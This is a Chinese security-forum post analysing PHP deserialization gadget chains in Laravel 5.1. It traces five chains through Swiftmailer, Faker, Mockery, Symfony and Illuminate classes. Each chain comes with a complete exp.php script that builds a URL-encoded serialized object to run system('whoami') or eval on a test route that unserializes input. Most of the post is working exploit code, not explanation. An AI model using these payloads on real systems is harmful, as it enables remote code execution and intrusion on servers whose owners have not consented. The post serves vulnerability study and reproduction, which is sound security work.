问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
laravel5.1反序列化
漏洞分析
本文分析laravel5.1的反序列化链子
0x00 环境搭建 ========= ```sh composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*" #下载的版本应该是 5.4.30的。 ``` 添加路由(routes/web.php) ```php Route::get('/index', function () { $payload=$_GET['cmd']; echo $payload; echo '<br>'; unserialize(($payload)); return 'hello binbin'; }); ``` 0x01 链子1 ======== **通过全局搜索`function __destruct(`** 发现 ```php //lib/classes/Swift/Transport/AbstractSmtpTransport.php public function __destruct() { try { $this->stop(); } catch (Exception $e) { } } ``` **跟进`stop()`** ```php //lib/classes/Swift/Transport/AbstractSmtpTransport.php public function stop() { if ($this->_started) { if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {//__call $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped'); if ($evt->bubbleCancelled()) { return; } } try { $this->executeCommand("QUIT\r\n", array(221)); } catch (Swift_TransportException $e) { } try { $this->_buffer->terminate();//__call if ($evt) { $this->_eventDispatcher->dispatchEvent($evt, 'transportStopped'); } } catch (Swift_TransportException $e) { $this->_throwException($e); } } $this->_started = false; } ``` **寻找`__call`方法** ```php //src/Faker/ValidGenerator.php public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } ``` 上面的方法中,`!call_user_func($this->validator, $res)`可用,只需要控制`$res`即可RCE `array($this->generator, $name)`表示某个类的某个方法,于是**寻找一个返回值可控的函数或者`__call`方法** ```php //src/Faker/DefaultGenerator.php //laravel中经典的方法 public function __call($method, $attributes) { return $this->default; } ``` 于是就可以进行RCE 注意:由于`Swift_Transport_AbstractSmtpTransport`是一个抽象类,所以要使用它的子类进行序列化`Swift_Transport_EsmtpTransport` **exp.php** ```php <?php namespace Faker { class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator ,$maxRetries) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default) { $this->default = $default; } } } namespace { use Faker\DefaultGenerator; use Faker\ValidGenerator; class Swift_Transport_EsmtpTransport { protected $_started = true; protected $_eventDispatcher; public function __construct($_started, $_eventDispatcher) { $this->_started = $_started; $this->_eventDispatcher = $_eventDispatcher; } } $defaultGenerator = new DefaultGenerator("whoami"); $validGenerator = new ValidGenerator($defaultGenerator,"system",9); $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $validGenerator); echo urlencode((serialize($swift_Transport_EsmtpTransport))); } ``` 0x02 链子2 ======== **寻找`__destruct`方法** ```php //lib/classes/Swift/KeyCache/DiskKeyCache.php public function __destruct() { foreach ($this->_keys as $nsKey => $null) { $this->clearAll($nsKey); } } ``` **跟进`clearAll`方法** ```php //lib/classes/Swift/KeyCache/DiskKeyCache.php public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->_keys)) { foreach ($this->_keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->_path.'/'.$nsKey)) { rmdir($this->_path.'/'.$nsKey); } unset($this->_keys[$nsKey]); } } ``` **跟进`clearKey`方法** ```php //lib/classes/Swift/KeyCache/DiskKeyCache.php public function clearKey($nsKey, $itemKey) { if ($this->hasKey($nsKey, $itemKey)) { $this->_freeHandle($nsKey, $itemKey); unlink($this->_path.'/'.$nsKey.'/'.$itemKey); } } ``` **跟进`hasKey`方法** ```php public function hasKey($nsKey, $itemKey) { return is_file($this->_path.'/'.$nsKey.'/'.$itemKey); //function is_file (string $filename): bool } ``` `is_file`方法会将`$this->_path`转换成字符串,会调用`$this->_path`的`__tostring` **搜索`__tostring`** ```php //library/Mockery/Generator/DefinedTargetClass.php public function __toString() { return $this->getName(); } public function getName() { return $this->rfc->getName(); } ``` 于是就可以调用`__call`方法,就可以使用**链子1的后面的链子** **寻找`__call`方法** ```php //src/Faker/ValidGenerator.php public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } ``` 上面的方法中,`!call_user_func($this->validator, $res)`可用,只需要控制`$res`即可RCE `array($this->generator, $name)`表示某个类的某个方法,于是**寻找一个返回值可控的函数或者`__call`方法** ```php //src/Faker/DefaultGenerator.php //laravel中经典的方法 public function __call($method, $attributes) { return $this->default; } ``` **exp.php** ```php <?php namespace Faker { class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator ,$maxRetries) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } class DefaultGenerator { protected $default; public function __construct($default) { $this->default = $default; } } } namespace Mockery\Generator { class DefinedTargetClass { private $rfc; public function __construct($rfc) { $this->rfc = $rfc; } } } namespace { use Faker\DefaultGenerator; use Faker\ValidGenerator; use Mockery\Generator\DefinedTargetClass; class Swift_KeyCache_DiskKeyCache { private $_keys; private $_path; public function __construct($_keys, $_path) { $this->_keys = $_keys; $this->_path = $_path; } } $defaultGenerator = new DefaultGenerator("whoami"); $validGenerator = new ValidGenerator($defaultGenerator,"system",3); $definedTargetClass = new DefinedTargetClass($validGenerator); $swift_KeyCache_DiskKeyCache = new Swift_KeyCache_DiskKeyCache(array("binbin"=>array("binbin","binbin")),$definedTargetClass); echo urlencode(serialize($swift_KeyCache_DiskKeyCache)); } ``` 0x03 链子3 ======== **寻找`__destruct`方法** ```php //Pipes/WindowsPipes.php public function __destruct() { $this->close(); $this->removeFiles(); } private function removeFiles() { foreach ($this->files as $filename) { //function file_exists (string $filename): bool if (file_exists($filename)) { @unlink($filename); } } $this->files = array(); } ``` 可以调用`$filename`的`__toString` **下面使用链子2的后面的路径** **搜索`__tostring`** ```php //library/Mockery/Generator/DefinedTargetClass.php public function __toString() { return $this->getName(); } public function getName() { return $this->rfc->getName(); } ``` 于是就可以调用`__call`方法,就可以使用**链子1的后面的链子** **寻找`__call`方法** ```php //src/Faker/ValidGenerator.php public function __call($name, $arguments) { $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries)); } } while (!call_user_func($this->validator, $res)); return $res; } ``` 上面的方法中,`!call_user_func($this->validator, $res)`可用,只需要控制`$res`即可RCE `array($this->generator, $name)`表示某个类的某个方法,于是**寻找一个返回值可控的函数或者`__call`方法** ```php //src/Faker/DefaultGenerator.php //laravel中经典的方法 public function __call($method, $attributes) { return $this->default; } ``` **exp.php** ```php <?php namespace Faker { class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator ,$maxRetries) { $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } class DefaultGenerator { protected $default; public function __construct($default) { $this->default = $default; } } } namespace Mockery\Generator { class DefinedTargetClass { private $rfc; public function __construct($rfc) { $this->rfc = $rfc; } } } /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Pipes { class WindowsPipes { private $files; public function __construct($files) { $this->files = $files; } } } namespace { use Faker\DefaultGenerator; use Faker\ValidGenerator; use Mockery\Generator\DefinedTargetClass; use Symfony\Component\Process\Pipes\WindowsPipes; $defaultGenerator = new DefaultGenerator("whoami"); $validGenerator = new ValidGenerator($defaultGenerator,"system",3); $definedTargetClass = new DefinedTargetClass($validGenerator); $windowsPipes = new WindowsPipes(array($definedTargetClass)); echo urlencode(serialize($windowsPipes)); } ``` 入口找得差不多了下面继续寻找可以利用的`__call` **由于链子1入口比较简单,所以以链子1作为入口,寻找可以利用的`__call`** 0x04 链子4 ======== **通过全局搜索`function __destruct(`** 发现 ```php //lib/classes/Swift/Transport/AbstractSmtpTransport.php public function __destruct() { try { $this->stop(); } catch (Exception $e) { } } ``` **跟进`stop()`** ```php //lib/classes/Swift/Transport/AbstractSmtpTransport.php public function stop() { if ($this->_started) { if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {//__call $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped'); if ($evt->bubbleCancelled()) { return; } } try { $this->executeCommand("QUIT\r\n", array(221)); } catch (Swift_TransportException $e) { } try { $this->_buffer->terminate();//__call if ($evt) { $this->_eventDispatcher->dispatchEvent($evt, 'transportStopped'); } } catch (Swift_TransportException $e) { $this->_throwException($e); } } $this->_started = false; } ``` **寻找`__call`方法** ```php //src/Illuminate/Database/DatabaseManager.php public function __call($method, $parameters) { return call_user_func_array([$this->connection(), $method], $parameters); } public function connection($name = null) { list($name, $type) = $this->parseConnectionName($name); //返回 [$this->app['config']['database.default'], null] //$name=$this->app['config']['database.default'] if (! isset($this->connections[$name])) { $connection = $this->makeConnection($name); $this->setPdoForType($connection, $type); $this->connections[$name] = $this->prepare($connection); } return $this->connections[$name]; } protected function parseConnectionName($name)//$name=null { $name = $name ?: $this->getDefaultConnection(); return Str::endsWith($name, ['::read', '::write']) ? explode('::', $name, 2) : [$name, null]; } public function getDefaultConnection() { return $this->app['config']['database.default']; } protected function makeConnection($name)//$name=$this->app['config']['database.default'] { $config = $this->getConfig($name); //返回$this->app['config']['database.connections']; if (isset($this->extensions[$name])) { return call_user_func($this->extensions[$name], $config, $name); } $driver = $config['driver']; if (isset($this->extensions[$driver])) { return call_user_func($this->extensions[$driver], $config, $name); //RCE } return $this->factory->make($config, $name); } protected function getConfig($name) //$name=$this->app['config']['database.default'] { $name = $name ?: $this->getDefaultConnection();//$name存在,不改变 $connections = $this->app['config']['database.connections']; if (is_null($config = Arr::get($connections, $name))) { //$config=$this->app['config']['database.connections']; throw new InvalidArgumentException("Database [$name] not configured."); } return $config; } //src/Illuminate/Support/Arr.php public static function get($array, $key, $default = null) { if (is_null($key)) { return $array; } if (isset($array[$key])) { return $array[$key]; } foreach (explode('.', $key) as $segment) { if (! is_array($array) || ! array_key_exists($segment, $array)) { return value($default); } $array = $array[$segment]; } return $array; } ``` 对于`call_user_func($this->extensions[$name], $config, $name);`有两个参数的利用 本来想着system()可以接受两个参数,正常执行 ```php call_user_func("system","calc","binbin"); //可以正常弹计算器 ``` ![image-20221007161016275.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-fa219660a189e794b31b23eb2f175d0439643401.png) **exp.php(不能用)** ```php <?php namespace Illuminate\Database { class DatabaseManager { protected $app; protected $extensions; public function __construct() { $this->app['config']['database.default']="binbin"; $this->app['config']['database.connections']=array("binbin"=>"whoami"); $this->extensions = array("binbin" =>"system"); } } } namespace { use Illuminate\Database\DatabaseManager; class Swift_Transport_EsmtpTransport { protected $_started = true; protected $_eventDispatcher; public function __construct($_started, $_eventDispatcher) { $this->_started = $_started; $this->_eventDispatcher = $_eventDispatcher; } } $databaseManager = new DatabaseManager(); $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager); echo urlencode((serialize($swift_Transport_EsmtpTransport))); } ``` 但是不知道为什么反序列化时不可以使用 只能使用 ```php call_user_func("call_user_func","system","calc"); ``` **exp.php** ```php <?php namespace Illuminate\Database { class DatabaseManager { protected $app; protected $extensions; public function __construct() { $this->app['config']['database.default']="whoami"; $this->app['config']['database.connections']=array("whoami"=>"system"); $this->extensions = array("whoami" =>"call_user_func"); } } } namespace { use Illuminate\Database\DatabaseManager; class Swift_Transport_EsmtpTransport { protected $_started = true; protected $_eventDispatcher; public function __construct($_started, $_eventDispatcher) { $this->_started = $_started; $this->_eventDispatcher = $_eventDispatcher; } } $databaseManager = new DatabaseManager(); $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager); echo urlencode((serialize($swift_Transport_EsmtpTransport))); } ``` 0x05 链子5 ======== **寻找`__destruct`方法** ```php //Pipes/WindowsPipes.php public function __destruct() { $this->close(); $this->removeFiles(); } private function removeFiles() { foreach ($this->files as $filename) { //function file_exists (string $filename): bool if (file_exists($filename)) { @unlink($filename); } } $this->files = array(); } ``` 可以调用`$filename`的`__toString` **下面使用链子2的后面的路径** **搜索`__tostring`** ```php //src/Prophecy/Argument/Token/ObjectStateToken.php public function __toString() { return sprintf('state(%s(), %s)', $this->name, $this->util->stringify($this->value) ); } ``` **寻找`__call`方法** ```php //src/Illuminate/Validation/Validator.php public function __call($method, $parameters)//$method=createTransportChangeEvent { $rule = Str::snake(substr($method, 8)); //$rule= ansportChangeEvent if (isset($this->extensions[$rule])) { return $this->callExtension($rule, $parameters); } throw new BadMethodCallException("Method [$method] does not exist."); } protected function callExtension($rule, $parameters) { $callback = $this->extensions[$rule];//$rule= ansportChangeEvent if ($callback instanceof Closure) { return call_user_func_array($callback, $parameters); } elseif (is_string($callback)) { return $this->callClassBasedExtension($callback, $parameters); } } protected function callClassBasedExtension($callback, $parameters) { list($class, $method) = explode('@', $callback); return call_user_func_array([$this->container->make($class), $method], $parameters); } ``` 此处可以控制`$extensions`从而控制`$callback`然后就可以控制`$class`和`$method`,如果可以控制`$this->container->make($class)`就可以调用任何类的任何方法 **控制`$this->container->make($class)`** 可以使用经典的DefaultGenerator类中的\_\_call返回任意的对象 ```php //src/Faker/DefaultGenerator.php public function __call($method, $attributes) { return $this->default; } ``` 下面寻找一些危险的函数 如`eval`,`system`,`call_user_func`,`shell_exec`,`file_put_contents`等 ,尝试进行调用 ```php class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } } ``` **跟进`getCode`** ```php //library/Mockery/Generator/MockDefinition.php public function getClassName() { return $this->config->getName(); } public function getCode() { return $this->code; } ``` 可以使用经典的DefaultGenerator类中的\_\_call返回任意的对象 ```php //src/Faker/DefaultGenerator.php public function __call($method, $attributes) { return $this->default; } ``` exp.php ```php <?php namespace Prophecy\Argument\Token { class ObjectStateToken { private $value; private $util; public function __construct($value, $util) { $this->value = $value; $this->util = $util; } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default) { $this->default = $default; } } } namespace Symfony\Component\Process\Pipes { class WindowsPipes { private $files; public function __construct($files) { $this->files = $files; } } } namespace Mockery\Loader { class EvalLoader { } } namespace Illuminate\Validation { class Validator { protected $extensions; protected $container; public function __construct($extensions,$container) { $this->extensions = $extensions; $this->container = $container; } } } namespace Mockery\Generator { use Faker\DefaultGenerator; use Mockery\Loader\EvalLoader; class MockDefinition { protected $config; protected $code; public function __construct($config) { $this->config=$config; $this->code = ' <?php var_dump(system("whoami"));'; } } } namespace { use Faker\DefaultGenerator; use Illuminate\Validation\Validator; use Mockery\Generator\MockDefinition; use Mockery\Loader\EvalLoader; use Prophecy\Argument\Token\ObjectStateToken; use Symfony\Component\Process\Pipes\WindowsPipes; $evalLoader = new EvalLoader(); $defaultGenerator1 = new DefaultGenerator("binbin"); $mockDefinition = new MockDefinition($defaultGenerator1); $defaultGenerator = new DefaultGenerator($evalLoader); $validator = new Validator(array("y"=>"binbin@load"),$defaultGenerator); $objectStateToken = new ObjectStateToken($mockDefinition,$validator); $windowsPipes = new WindowsPipes(array($objectStateToken)); echo urlencode((serialize($windowsPipes))); } ``` 0x06 提问: ======== **链子4中** 对于`call_user_func($this->extensions[$name], $config, $name);`有两个参数的利用 本来想着system()可以接受两个参数,正常执行 ```php call_user_func("system","calc","binbin"); //可以正常弹计算器 ``` ![image-20221007161016275.png](https://shs3.b.qianxin.com/attack_forum/2022/10/attach-23831e5d4d7eeb538ff917e2a64f4ae398eea4d3.png) **exp.php(不能用)** ```php <?php namespace Illuminate\Database { class DatabaseManager { protected $app; protected $extensions; public function __construct() { $this->app['config']['database.default']="binbin"; $this->app['config']['database.connections']=array("binbin"=>"whoami"); $this->extensions = array("binbin" =>"system"); } } } namespace { use Illuminate\Database\DatabaseManager; class Swift_Transport_EsmtpTransport { protected $_started = true; protected $_eventDispatcher; public function __construct($_started, $_eventDispatcher) { $this->_started = $_started; $this->_eventDispatcher = $_eventDispatcher; } } $databaseManager = new DatabaseManager(); $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager); echo urlencode((serialize($swift_Transport_EsmtpTransport))); } ``` 为什么反序列化时不可以使用?希望有师傅评论区解答一下
发表于 2022-10-17 10:05:33
阅读 ( 5645 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
binbin
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!